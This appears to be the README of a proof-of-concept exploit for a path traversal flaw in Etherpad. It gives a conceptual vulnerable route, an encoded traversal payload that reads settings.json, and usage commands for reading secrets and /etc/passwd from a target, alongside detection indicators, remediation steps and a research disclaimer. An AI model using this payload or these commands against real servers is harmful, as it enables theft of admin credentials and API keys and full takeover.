CVE-2026-114516 -- Etherpad Pre-Auth Arbitrary File Read
| Field | Value |
|---|
| CVE ID | CVE-2026-114516 |
| Vendor | Etherpad Foundation |
| Product | Etherpad |
| CVSS 3.1 | 9.8 Critical |
| CWE | CWE-22 -- Path Traversal |
| Attack Vector | Network |
| Auth Required | None (pre-auth) |
| Impact | Arbitrary file read (settings.json, secrets, API keys) |
Description
Etherpad serves static assets through a route that joins a user-supplied path
component to a base directory without proper canonicalization. An unauthenticated
attacker can supply encoded traversal sequences to escape the static root and read
arbitrary files -- including settings.json, which contains the admin password and
API key, enabling full takeover.
Vulnerable Code
// src/node/hooks/express/static.js (conceptual)
app.get('/static/*', (req, res) => {
const rel = req.params[0]; // attacker-controlled
const file = path.join(STATIC_ROOT, rel); // CWE-22: %2e%2e%2f escapes root
res.sendFile(file);
});
Attack Flow
flowchart LR
A([Unauthenticated Attacker]) -->|GET /static/..%2f..%2fsettings.json| B[static route]
B -->|path.join no canonicalize| C[Path escapes static root]
C -->|sendFile| D[settings.json disclosed]
D -->|admin password + apikey| E([Full Etherpad takeover])
style A fill:#1a0810,color:#e94560
style E fill:#3d0015,color:#fff
PoC Usage
pip install -r requirements.txt
python poc.py -u http://TARGET:9001 --check-only -v
python poc.py -u http://TARGET:9001 -f settings.json -v
python poc.py -u http://TARGET:9001 -f /etc/passwd --depth 10 -o result.json
Flags
| Flag | Description |
|---|
-u / --url | Target Etherpad base URL |
-f / --file | File to read (default: settings.json) |
--depth | Max traversal depth to try (default: 8) |
--check-only | Fingerprint Etherpad only |
-o / --output | Save results to JSON file |
--proxy / --insecure / -v | Proxy / skip TLS / verbose |
Impact
| Area | Impact |
|---|
| Confidentiality | Critical -- read secrets and arbitrary files |
| Integrity | High -- leaked API key enables writes via API |
| Availability | Indirect via admin takeover |
| Scope | Any exposed vulnerable Etherpad instance |
Detection
| Method | Indicator |
|---|
| Log review | /static/ requests containing .., %2e, %2f |
| Code audit | path.join(root, userInput) without realpath containment |
| Action | Detail |
|---|
| Update | Apply the fixed Etherpad release |
| Rotate | Change admin password and regenerate API key |
| WAF | Block traversal patterns on /static/ |
Disclaimer
This PoC is released for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.
Author: LLCForge | License: MIT